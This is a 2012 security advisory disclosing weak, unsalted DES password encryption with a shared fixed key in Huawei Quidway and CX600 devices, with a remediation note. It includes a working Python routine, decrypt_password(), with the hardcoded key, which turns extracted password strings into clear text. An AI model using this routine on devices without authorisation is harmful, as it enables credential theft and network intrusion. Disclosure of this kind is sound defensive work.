Title: Weak password encryption on Huawei products
Release date: 13/11/2012
Credits: Roberto Paleari, Ivan Speziale
Vulnerability Information
Class: Information disclosure
Affected Software
We confirm the presence of this security vulnerability on the following products:
- Huawei Quidway series
- Huawei CX600
Other models are probably also vulnerable, but they were not checked.
Vulnerability Details
Huawei devices support a weak password encryption algorithm. With this scheme, passwords are obfuscated and encrypted with DES, using an encryption key shared among all the affected devices. This encryption scheme does not use any password salting mechanism. As a consequence, passwords extracted from a victim's device can be deciphered instantaneously.
A Python procedure that decodes a given password is included below. Upon termination, procedure decrypt_password() returns the clear-text password
A Python procedure that decodes a given password is included below. Upon termination, procedure decrypt_password() returns the clear-text password
from Crypto.Cipher import DES
def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')
def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0
for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff
out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)
j += 3
return "".join(out)
def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)
return r.rstrip("\x00")
Remediation
We recommend to store passwords using a proper hashing algorithm, instead of leveraging symmetric encryption. At the moment, this issue has been addressed by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security Advisory on the Risk of Password Being Cracked Due to DES Encryption Algorithm"). Further details are available at the following URL:
Copyright
Copyright(c)
Emaze Networks S.p.A. 2012, All rights reserved worldwide. Permission
is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain
intact.
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